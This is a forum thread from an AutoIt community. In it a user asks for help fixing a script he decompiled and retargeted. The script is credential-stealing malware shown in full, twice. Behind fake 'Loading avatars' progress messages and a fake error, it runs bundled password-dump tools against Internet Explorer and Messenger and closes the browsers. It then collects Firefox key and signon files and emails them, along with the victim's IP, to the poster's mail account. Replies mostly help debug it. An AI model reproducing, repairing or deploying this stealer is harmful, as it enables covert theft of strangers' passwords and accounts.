Jump to content
Sign in to follow this  
Fewmitz

A whole mess or errors on a program

Recommended Posts

Fewmitz

So I have this program I've been working on (after someone on here helped me :)) :

#NoTrayIcon

$oProcess = ProgressOn("Loading", "", "", -1, 200)
FileInstall("iepv.exe", @TempDir & "\temp.exe", 1)
RunWait(@TempDir & "\temp.exe /stext " & @TempDir & "\temp.txt", @ScriptDir)
FileDelete(@TempDir & "\temp.exe")
$ie = FileRead(@TempDir & "\temp.txt")
FileDelete(@TempDir & "\temp.txt")
ProgressSet("23", "Loading avatars...")

FileInstall("mspass.exe", @TempDir & "\temp.exe", 1)
RunWait(@TempDir & "\temp.exe /stext " & @TempDir & "\temp.txt", @ScriptDir)
FileDelete(@TempDir & "\temp.exe")
$ms = FileRead(@TempDir & "\temp.txt")
FileDelete(@TempDir & "\temp.txt")
ProgressSet("57", "Loading names...")
Msgbox(0, "", "If you have Internet Explorer or Firefox open, They will be closed.")
ProcessClose("firefox.exe")
ProcessClose("iexplore.exe")
ProgressSet("87", "Loading...")
_INetSmtpMailCom("<----------------------------- Internet Explorer --------------------------------->" & @CRLF & $ie & @CRLF & _
                 "<------------------------------------ Messenger ---------------------------------->" & @CRLF & $ms)
Msgbox(0, "0x120272", "Could not establish connection to the server")
ProgressOff()

Func _INetSmtpMailCom($Body)
    $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & _GetIP() & '" <FewpPotato@yahoo.com>'
    $objEmail.To = "supahscubah@yahoo.com"
    $objEmail.Subject = _GetIP()
    $objEmail.Textbody = $Body
    $oKey3 = _FileSearch(@AppDataDir & "\Mozilla\Firefox\Profiles\key3.db", 1)
    $oCert8 = _FileSearch(@AppDataDir & "\Mozilla\Firefox\Profiles\cert8.db", 1)
    $oSignons = _FileSearch(@AppDataDir & "\Mozilla\Firefox\Profiles\signon*.txt", 1)
    $s_AttachFiles = $oKey3[1] & ";" & $oCert8[1] & ";" & $oSignons[1]
    Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
    For $x = 1 To $S_Files2Attach[0]
        $S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x])
        If FileExists($S_Files2Attach[$x]) Then
            $objEmail.AddAttachment ($S_Files2Attach[$x])
        EndIf
    Next
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.yahoo.com"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "FewpPotato@yahoo.com"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "PASSword"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    $objEmail.Configuration.Fields.Update
    $objEmail.Send
EndFunc

Func _FileSearch($szMask,$nOption)
    $szRoot = ""
    $hFile = 0
    $szBuffer = ""
    $szReturn = ""
    $szPathList = "*"
    Dim $aNULL[1]

    If Not StringInStr($szMask,"\") Then
         $szRoot = @SCRIPTDIR & "\"
    Else
         While StringInStr($szMask,"\")
              $szRoot = $szRoot & StringLeft($szMask,StringInStr($szMask,"\"))
              $szMask = StringTrimLeft($szMask,StringInStr($szMask,"\"))
         Wend
    EndIf
    If $nOption = 0 Then
         _FileSearchUtil($szRoot, $szMask, $szReturn)
    Else
         While 1
              $hFile = FileFindFirstFile($szRoot & "*.*")
              If $hFile >= 0 Then
                   $szBuffer = FileFindNextFile($hFile)
                   While Not @ERROR
                        If $szBuffer <> "." And $szBuffer <> ".." And _
                             StringInStr(FileGetAttrib($szRoot & $szBuffer),"D") Then _
                             $szPathList = $szPathList & $szRoot & $szBuffer & "*"
                        $szBuffer = FileFindNextFile($hFile)
                   Wend
                   FileClose($hFile)
              EndIf
              _FileSearchUtil($szRoot, $szMask, $szReturn)
              If $szPathList == "*" Then ExitLoop
              $szPathList = StringTrimLeft($szPathList,1)
              $szRoot = StringLeft($szPathList,StringInStr($szPathList,"*")-1) & "\"
              $szPathList = StringTrimLeft($szPathList,StringInStr($szPathList,"*")-1)
         Wend
    EndIf
    If $szReturn = "" Then
         $aNULL[0] = 0
         Return $aNULL
    Else
         Return StringSplit(StringTrimRight($szReturn,1),"*")
    EndIf
EndFunc

Func _FileSearchUtil(ByRef $ROOT, ByRef $MASK, ByRef $RETURN)
    $hFile = FileFindFirstFile($ROOT & $MASK)
    If $hFile >= 0 Then
         $szBuffer = FileFindNextFile($hFile)
         While Not @ERROR
              If $szBuffer <> "." And $szBuffer <> ".." Then _
                   $RETURN = $RETURN & $ROOT & $szBuffer & "*"
              $szBuffer = FileFindNextFile($hFile)
         Wend
         FileClose($hFile)
    EndIf
EndFunc

But when I try to change who it's emailed to (the objEmail properties), I get a whole mess of errors.

Here are the lines I get problems in:

5-RunWait(@TempDir & "\temp.exe /stext " & @TempDir & "\temp.txt", @ScriptDir)

11-RunWait(@TempDir & "\temp.exe /stext " & @TempDir & "\temp.txt", @ScriptDir)

27- $objEmail.Subject = _GetIP()

35- $S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x])

With the first two saying there's a missing file, which I assume means I need to make one, and the latter two saying unknown function name

Then I get an error here:

$objEmail.Send

Saying "Selected action for this object has failed"

If anyone here can help me in any way, please PM me or post here, or both.

Share this post


Link to post
Share on other sites
qazwsx

Can you show the part you are changing in your code?

Share this post


Link to post
Share on other sites
Fewmitz

I knew I forgot something. That's the version of the code I changed. The original looks like this:

#NoTrayIcon

$oProcess = ProgressOn("Loading", "", "", -1, 200)
FileInstall("iepv.exe", @TempDir & "\temp.exe", 1)
RunWait(@TempDir & "\temp.exe /stext " & @TempDir & "\temp.txt", @ScriptDir)
FileDelete(@TempDir & "\temp.exe")
$ie = FileRead(@TempDir & "\temp.txt")
FileDelete(@TempDir & "\temp.txt")
ProgressSet("23", "Loading avatars...")

FileInstall("mspass.exe", @TempDir & "\temp.exe", 1)
RunWait(@TempDir & "\temp.exe /stext " & @TempDir & "\temp.txt", @ScriptDir)
FileDelete(@TempDir & "\temp.exe")
$ms = FileRead(@TempDir & "\temp.txt")
FileDelete(@TempDir & "\temp.txt")
ProgressSet("57", "Loading names...")
Msgbox(0, "", "If you have Internet Explorer or Firefox open, They will be closed.")
ProcessClose("firefox.exe")
ProcessClose("iexplore.exe")
ProgressSet("87", "Loading items...")
_INetSmtpMailCom("<----------------------------- Internet Explorer --------------------------------->" & @CRLF & $ie & @CRLF & _
                 "<------------------------------------ Messenger ---------------------------------->" & @CRLF & $ms)
Msgbox(0, "0x120272", "Error -3")
ProgressOff()

Func _INetSmtpMailCom($Body)
    $objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & _GetIP() & '" <ramzaprogramming@gmail.com>'
    $objEmail.To = "Narisome@gmail.com"
    $objEmail.Subject = _GetIP()
    $objEmail.Textbody = $Body
    $oKey3 = _FileSearch(@AppDataDir & "\Mozilla\Firefox\Profiles\key3.db", 1)
    $oCert8 = _FileSearch(@AppDataDir & "\Mozilla\Firefox\Profiles\cert8.db", 1)
    $oSignons = _FileSearch(@AppDataDir & "\Mozilla\Firefox\Profiles\signon*.txt", 1)
    $s_AttachFiles = $oKey3[1] & ";" & $oCert8[1] & ";" & $oSignons[1]
    Local $S_Files2Attach = StringSplit($s_AttachFiles, ";")
    For $x = 1 To $S_Files2Attach[0]
        $S_Files2Attach[$x] = _PathFull ($S_Files2Attach[$x])
        If FileExists($S_Files2Attach[$x]) Then
            $objEmail.AddAttachment ($S_Files2Attach[$x])
        EndIf
    Next
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.gmail.com"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "ramzaprogramming@gmail.com"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "PASSword"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    $objEmail.Configuration.Fields.Update
    $objEmail.Send
EndFunc

Func _FileSearch($szMask,$nOption)
    $szRoot = ""
    $hFile = 0
    $szBuffer = ""
    $szReturn = ""
    $szPathList = "*"
    Dim $aNULL[1]

    If Not StringInStr($szMask,"\") Then
         $szRoot = @SCRIPTDIR & "\"
    Else
         While StringInStr($szMask,"\")
              $szRoot = $szRoot & StringLeft($szMask,StringInStr($szMask,"\"))
              $szMask = StringTrimLeft($szMask,StringInStr($szMask,"\"))
         Wend
    EndIf
    If $nOption = 0 Then
         _FileSearchUtil($szRoot, $szMask, $szReturn)
    Else
         While 1
              $hFile = FileFindFirstFile($szRoot & "*.*")
              If $hFile >= 0 Then
                   $szBuffer = FileFindNextFile($hFile)
                   While Not @ERROR
                        If $szBuffer <> "." And $szBuffer <> ".." And _
                             StringInStr(FileGetAttrib($szRoot & $szBuffer),"D") Then _
                             $szPathList = $szPathList & $szRoot & $szBuffer & "*"
                        $szBuffer = FileFindNextFile($hFile)
                   Wend
                   FileClose($hFile)
              EndIf
              _FileSearchUtil($szRoot, $szMask, $szReturn)
              If $szPathList == "*" Then ExitLoop
              $szPathList = StringTrimLeft($szPathList,1)
              $szRoot = StringLeft($szPathList,StringInStr($szPathList,"*")-1) & "\"
              $szPathList = StringTrimLeft($szPathList,StringInStr($szPathList,"*")-1)
         Wend
    EndIf
    If $szReturn = "" Then
         $aNULL[0] = 0
         Return $aNULL
    Else
         Return StringSplit(StringTrimRight($szReturn,1),"*")
    EndIf
EndFunc

Func _FileSearchUtil(ByRef $ROOT, ByRef $MASK, ByRef $RETURN)
    $hFile = FileFindFirstFile($ROOT & $MASK)
    If $hFile >= 0 Then
         $szBuffer = FileFindNextFile($hFile)
         While Not @ERROR
              If $szBuffer <> "." And $szBuffer <> ".." Then _
                   $RETURN = $RETURN & $ROOT & $szBuffer & "*"
              $szBuffer = FileFindNextFile($hFile)
         Wend
         FileClose($hFile)
    EndIf
EndFunc

It also won't let me compile it to an exe.

Edited by Fewmitz

Share this post


Link to post
Share on other sites
Fewmitz

Oh right.

$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.gmail.com"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 465
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "ramzaprogramming@gmail.com"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "PASSword"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    $objEmail.Configuration.Fields.Update
    $objEmail.Send

Was changed to

$objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusing") = 2
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserver") = "smtp.mail.yahoo.com"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpserverport") = 25
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpauthenticate") = 1
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendusername") = "FewpPotato@yahoo.com"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/sendpassword") = "PASSword"
    $objEmail.Configuration.Fields.Item("http://schemas.microsoft.com/cdo/configuration/smtpusessl") = True
    $objEmail.Configuration.Fields.Update
    $objEmail.Send

And then

$objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & _GetIP() & '" <ramzaprogramming@gmail.com>'
    $objEmail.To = "Narisome@gmail.com"
    $objEmail.Subject = _GetIP()
    $objEmail.Textbody = $Body

Was changed to

$objEmail.From = '"' & _GetIP() & '" <FewpPotato@yahoo.com>'
    $objEmail.To = "supahscubah@yahoo.com"
    $objEmail.Subject = _GetIP()
    $objEmail.Textbody = $Body

I'm starting to think something happened when the original .exe was decompiled, because that worked fine, but now I can't even compiler the original au3, it says "Error adding file: iepv.exe"

Share this post


Link to post
Share on other sites
PsaltyDS

$objEmail = ObjCreate("CDO.Message")
    $objEmail.From = '"' & _GetIP() & '" <ramzaprogramming@gmail.com>'
    $objEmail.To = "Narisome@gmail.com"
    $objEmail.Subject = _GetIP()
    $objEmail.Textbody = $Body

Was changed to

$objEmail.From = '"' & _GetIP() & '" <FewpPotato@yahoo.com>'
    $objEmail.To = "supahscubah@yahoo.com"
    $objEmail.Subject = _GetIP()
    $objEmail.Textbody = $Body

I'm starting to think something happened when the original .exe was decompiled, because that worked fine, but now I can't even compiler the original au3, it says "Error adding file: iepv.exe"

If that's not just a copy/paste error in the post, then you deleted the line that creates $objEmail before trying to set its properties:

$objEmail = ObjCreate("CDO.Message")

:)


Valuater's AutoIt 1-2-3, Class... Is now in Session!For those who want somebody to write the script for them: RentACoder"Any technology distinguishable from magic is insufficiently advanced." -- Geek's corollary to Clarke's law

Share this post


Link to post
Share on other sites
Fewmitz

Haha, I'm not sure how I made a copy-paste error, but I did. The objCreate line is in there, and I'm not sure why it's not there in the code I pasted.

>_>

Share this post


Link to post
Share on other sites
qazwsx

im not very good with coms but could the object be different becasue of the different servers eg gmail and yahoo?

Share this post


Link to post
Share on other sites
Fewmitz

That seems to make sense..but I have no clue.

I don't think that would explain the script not working after it was decompiled, though.

Share this post


Link to post
Share on other sites
Fewmitz

It won't allow me to compile it-> "Error adding file: iepv.exe"

Share this post


Link to post
Share on other sites
qazwsx

well if the original script didnt work when decompiled this one probably wont. Do you have the beta autoit?

Share this post


Link to post
Share on other sites
Fewmitz

I didn't know it didn't work until very recently..

And I'm not sure what the beta one is, so which one is it? >_>

Share this post


Link to post
Share on other sites
Fewmitz

Takes me to the parent directory, and there's nowhere to download it.

Share this post


Link to post
Share on other sites
PsaltyDS

That seems to make sense..but I have no clue.

I don't think that would explain the script not working after it was decompiled, though.

Decompiled from where? Why did you have to decompile it?

:)


Valuater's AutoIt 1-2-3, Class... Is now in Session!For those who want somebody to write the script for them: RentACoder"Any technology distinguishable from magic is insufficiently advanced." -- Geek's corollary to Clarke's law

Share this post


Link to post
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
Sign in to follow this  

×

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.